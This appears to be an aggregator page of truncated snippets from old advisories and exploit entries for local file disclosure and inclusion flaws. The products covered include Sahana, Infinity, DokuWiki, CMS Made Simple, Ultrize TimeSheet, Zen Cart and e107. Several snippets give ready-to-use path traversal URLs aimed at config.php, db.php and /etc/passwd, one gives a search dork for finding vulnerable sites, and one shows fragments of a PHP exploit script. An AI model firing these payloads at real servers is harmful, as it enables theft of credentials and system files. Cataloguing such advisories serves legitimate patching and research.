Sahana 0.6.2 - mod Local File Disclosure

Sahana 0.6.2 - mod Local File Disclosure source: https://www.securityfocus.com/bid/36826/info Sahana is prone to a local file-disclosure vulnerability because it fails to adequately validate user-supplied input. An attacker can exploit this vulnerability to obtain potentially sensitive informatio...

Sahana 0.6.2 - 'mod' Local File Disclosure

source: https://www.securityfocus.com/bid/36826/info Sahana is prone to a local file-disclosure vulnerability because it fails to adequately validate user-supplied input. An attacker can exploit this vulnerability to obtain potentially sensitive information from local files on computers running t...

Infinity <= v2.X.X (Local File Disclosure/Auth Bypass) Vulnerabilities

-----------------Infinity = v2.X.X Local File Disclosure/Auth Bypass Vulnerabilities------------------------- Script : Infinity version : 2.X.X Language: PHP Site: http://www.dimofinf.net/ Author: SwEET-DeViL need magicquotesgpc = Off -----...

Infinity <= 2.x.x options[style_dir] Local File Disclosure Vulnerability

No description provided by source. ------------------Infinity = v2.X.X Local File Disclosure / Auth Bypass Vulnerabilities------------------------- ---------------------------------------------------------------------------------------------------------------- Script : Infinity version : 2.X.X...

Infinity 2.x.x Local File Disclosure

------------------Infinity ---------------------------------------------------------------------------------------------------------------- - +LFD Exploit: http://WWW.Site.Com/inf/?optionsstyledir=../include/db.php%00 http://WWW.Site.Com/inf/?optionsstyledir=../../../../../../etc/passwd%00...

Infinity 2.x - options[style_dir] Local File Disclosure

Infinity 2.x - optionsstyledir Local File Disclosure ------------------Infinity ---------------------------------------------------------------------------------------------------------------- - +LFD Exploit: http://WWW.Site.Com/inf/?optionsstyledir=../include/db.php%00...

DokuWiki: Local file inclusion

Background DokuWiki is a standards compliant Wiki system written in PHP. Description girex reported that data from the "configcascade" parameter in inc/init.php is not properly sanitized before being used. Impact A remote attacker could exploit this vulnerability to execute PHP code from arbitrar...

Infinity 2.x - 'options[style_dir]' Local File Disclosure

------------------Infinity ---------------------------------------------------------------------------------------------------------------- - +LFD Exploit: http://WWW.Site.Com/inf/?optionsstyledir=../include/db.php%00 http://WWW.Site.Com/inf/?optionsstyledir=../../../../../../etc/passwd%00...

CMS Made Simple <= 1.6.2 Local File Disclosure Vulnerability

No description provided by source. CMS Made Simple = 1.6.2 Class: LFI Reported: 29/07/2009 Public release: 10/08/2009 Remote: Yes DORK: "This site is powered by CMS Made Simple version 1." Site: http://www.cmsmadesimple.org/ Download:...

CMS Made Simple 1.6.2 - Local File Disclosure

CMS Made Simple 1.6.2 - Local File Disclosure CMS Made Simple = 1.6.2 Class: LFI Reported: 29/07/2009 Public release: 10/08/2009 Remote: Yes DORK: "This site is powered by CMS Made Simple version 1." Site: http://www.cmsmadesimple.org/ Download:...

Ultrize TimeSheet 1.2.2 File Disclosure

Ultrize TimeSheet 1.2.2 readfile Local File Disclosure Vulnerability Code page /actions/downloadFile.php ==== File not found. "; print $fileName; print "Please make sure your file paths are correct: $config'uploaddir'/$jobid/$fileName"; ? ==== Poc /actions/downloadFile.php?fileName=../config.php...

Ultrize TimeSheet 1.2.2 - readfile() Local File Disclosure

Ultrize TimeSheet 1.2.2 - readfile Local File Disclosure Ultrize TimeSheet 1.2.2 readfile Local File Disclosure Vulnerability Code page /actions/downloadFile.php ==== File not found. "; print $fileName; print "Please make sure your file paths are correct: $config'uploaddir'/$jobid/$fileName"; ?...

Ultrize TimeSheet 1.2.2 readfile() Local File Disclosure Vulnerability

No description provided by source. Ultrize TimeSheet 1.2.2 readfile Local File Disclosure Vulnerability Code page /actions/downloadFile.php ==== ?php // This script performs the actual file download $fileName = $REQUEST'fileName'; --!! $jobid = $REQUEST'jobid'; --!! $fullFile =...

Ultrize TimeSheet 1.2.2 readfile() Local File Disclosure Vulnerability

Exploit for unknown platform in category web applications ====================================================================== Ultrize TimeSheet 1.2.2 readfile Local File Disclosure Vulnerability ====================================================================== Ultrize TimeSheet 1.2.2...

Ultrize TimeSheet 1.2.2 - 'readfile()' Local File Disclosure

Ultrize TimeSheet 1.2.2 readfile Local File Disclosure Vulnerability Code page /actions/downloadFile.php ==== File not found. "; print $fileName; print "Please make sure your file paths are correct: $config'uploaddir'/$jobid/$fileName"; ? ==== Poc /actions/downloadFile.php?fileName=../config.php...

PT-2009-2346 · Zen Cart · Zen Cart

Name of the Vulnerable Software and Affected Versions: Zen Cart versions 1.3.8 through 1.3.8a Description: A directory traversal issue exists, allowing remote attackers to include and execute arbitrary local files via a .. dot dot in the loader file parameter in admin/includes/initsystem.php when...

e107 Plugin my_gallery 2.4.1 readfile() Local File Disclosure Exploit

Exploit for unknown platform in category web applications ===================================================================== e107 Plugin mygallery 2.4.1 readfile Local File Disclosure Exploit ===================================================================== Web 2 XPL : File 2 Read : i...

AWCM 2.1 Local File Inclusion / Auth Bypass Vulnerabilities

No description provided by source. ---------------------------------AWCM v2.1 LFI/Auth Bypass Vulnerabilities--------------------------------------- ---------------------------------------------------------------------------------------------------------------- Script : AWCM version : v2.1...

e107 Plugin my_gallery 2.4.1 readfile() Local File Disclosure Exploit

No description provided by source. ?php / ============================================ o e107 Plugin mygallery 2.4.1 Exploit o ============================================ Bug found by NoGe - [email protected] Exploit coded by Vrs-hCk - [email protected] Plugin mygallery create photo gallery...

e107 Plugin my_gallery 2.4.1 - readfile() Local File Disclosure

e107 Plugin mygallery 2.4.1 - readfile Local File Disclosure Web 2 XPL : File 2 Read : "; if $POST'xpl' $data .= "GET /$vuln$trasv$file HTTP/1.1\r\n"; $data .= "Host: $host\r\n"; $data...